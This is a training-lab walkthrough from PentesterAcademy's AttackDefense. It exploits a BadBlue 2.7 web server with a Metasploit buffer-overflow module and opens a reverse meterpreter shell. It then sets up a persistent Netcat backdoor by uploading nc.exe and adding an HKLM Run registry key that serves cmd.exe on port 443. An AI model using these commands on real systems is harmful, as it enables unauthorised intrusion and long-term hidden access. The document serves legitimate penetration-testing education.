ATTACK DEFENSE

by PentesterAcademy

Name	Maintaining Access: Netcat
URL	https://attackdefense.com/challengedetails?cid=2141
Type	Windows Security: Maintaining Access

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking the target IP address.

Note: The target IP address is stored in the “target” file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.30.85
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.30.85

```
root@attackdefense:~# nmap 10.0.30.85
Starting Nmap 7.70 ( https://nmap.org ) at 2020-11-21 14:42 IST
Nmap scan report for 10.0.30.85
Host is up (0.0017s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE
80/tcp  open  http
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 18.92 seconds
root@attackdefense:~#
```

Step 3: We have discovered that multiple ports are open. We will run Nmap again to determine version information on port 80.

Command: nmap -sV -p 80 10.0.30.85

```
root@attackdefense:~# nmap -sV -p 80 10.0.30.85
Starting Nmap 7.70 ( https://nmap.org ) at 2020-11-21 14:42 IST
Nmap scan report for 10.0.30.85
Host is up (0.0018s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    BadBlue httpd 2.7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.56 seconds
root@attackdefense:~#
```

Step 4: We will search for the exploit module for badblue 2.7 using searchsploit.

Command: searchsploit badblue 2.7

```
root@attackdefense:~# searchsploit badblue 2.7
---------------------------------------------------------
 Exploit Title

---------------------------------------------------------
BadBlue 2.72 - PassThru Remote Buffer Overflow
BadBlue 2.72b - Multiple Vulnerabilities
BadBlue 2.72b - PassThru Buffer Overflow (Metasploit)
Working Resources BadBlue 1.2.7 - Denial of Service
Working Resources BadBlue 1.2.7 - Full Path Disclosure
---------------------------------------------------------
Shellcodes: No Result
Papers: No Result
root@attackdefense:~#
```

Step 5: There is a Metasploit module for the badblue server. We will use PassThu remote buffer overflow Metasploit module to exploit the target.

Commands:
msfconsole -q
use exploit/windows/http/badblue_passthru
set RHOSTS 10.0.30.85
exploit

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/windows/http/badblue_passthru
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/badblue_passthru) > set RHOSTS 10.0.30.85
RHOSTS => 10.0.30.85
msf6 exploit(windows/http/badblue_passthru) > exploit

[*] Started reverse TCP handler on 10.10.1.2:4444
[*] Trying target BadBlue EE 2.7 Universal...
[*] Sending stage (175174 bytes) to 10.0.30.85
[*] Meterpreter session 1 opened (10.10.1.2:4444 -> 10.0.30.85:49704) at 2020-11-21 14:44:42 +0530

meterpreter >
```

We have successfully exploited the target vulnerable application (badblue) and received a meterpreter shell.

Step 6: Checking the current user.

Command: getuid

```
meterpreter > getuid
Server username: ATTACKDEFENSE\Administrator
meterpreter >
```

Step 7: We can observe that we are running as an administrator user. Migrate the process in explorer.exe. First, search for the PID of explorer.exe and use the migrate command to migrate the current process in that process.

Commands: ps -S explorer.exe
migrate 4060

```
meterpreter > ps -S explorer.exe
Filtering on 'explorer.exe'

Process List
============

 PID   PPID  Name          Arch  Session  User                        Path
 ---   ----  ----          ----  -------  ----                        ----
 4076  4060  explorer.exe  x64   1        ATTACKDEFENSE\Administrator  C:\Windows\explorer.exe

meterpreter > migrate 4076
[*] Migrating from 4836 to 4076...
[*] Migration completed successfully.
meterpreter >
meterpreter >
```

We have successfully migrated into the explorer.exe process. We are going to maintain access using Netcat utility. We will upload **nc.exe** on the target machine and modify the registry to have Netcat execute on startup and listen on port 443.

Step 8: Uploading Netcat i.e nc.exe

Command: upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

```
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\Windows\\System32
[*] uploading  : /usr/share/windows-binaries/nc.exe -> C:\Windows\System32
[*] uploaded   : /usr/share/windows-binaries/nc.exe -> C:\Windows\System32\nc.exe
meterpreter >
```

We have uploaded nc.exe in the "**C:\windows\system32**" directory.

Step 9: Modifying the registry to start netcat on startup.

Command: reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e C:\windows\system32\cmd.exe'

```
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v
nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e c:\windows\system32\cmd.exe'
Successfully set nc of REG_SZ.
meterpreter >
meterpreter >
```

Verify the added value.

Command: reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc

```
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: nc
Type: REG_SZ
Data: C:\windows\system32\nc.exe -Ldp 443 -e C:\windows\system32\cmd.exe
meterpreter >
```

Step 10: We have successfully configured the Netcat persistence backdoor. We will reboot the machine to verify that.

Command: reboot

```
meterpreter > reboot
Rebooting...
meterpreter >
[*] 10.0.30.85 - Meterpreter session 1 closed.  Reason: Died
```

Step 11: Run Nmap to discover port 443 on the target machine.

Command: nmap -p 443 10.0.30.85

```
root@attackdefense:~# nmap -p 443 10.0.30.85
Starting Nmap 7.70 ( https://nmap.org ) at 2020-11-21 14:35 IST
Nmap scan report for 10.0.30.85
Host is up (0.0016s latency).

PORT    STATE SERVICE
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 13.22 seconds
root@attackdefense:~#
```

We can observe that port 443 is exposed.

Step 12: Connect to port 443 using Netcat from the attacker machine.

Command: nc -v 10.0.30.85 443
ipconfig

```
root@attackdefense:~# nc -v 10.0.30.85 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.30.85:443.
Microsoft Windows [Version 10.0.17763.1457]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : ap-southeast-1.compute.internal
   Link-local IPv6 Address . . . . . : fe80::edd5:aabf:1dca:3512%4
   IPv4 Address. . . . . . . . . . . : 10.0.30.85
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Default Gateway . . . . . . . . . : 10.0.16.1

C:\Windows\system32>
```

We were able to connect to the compromised machine even after it was rebooted due to netcat starting on the system startup!

References

1. BadBlue 2.72b - Multiple Vulnerabilities (https://www.exploit-db.com/exploits/4715)
2. Metasploit Module (https://www.rapid7.com/db/modules/exploit/windows/http/badblue_passthru)
3. Netcat Persistence Backdoor (https://null-byte.wonderhowto.com/how-to/install-persistant-backdoor-windows-using-netcat-0162348/)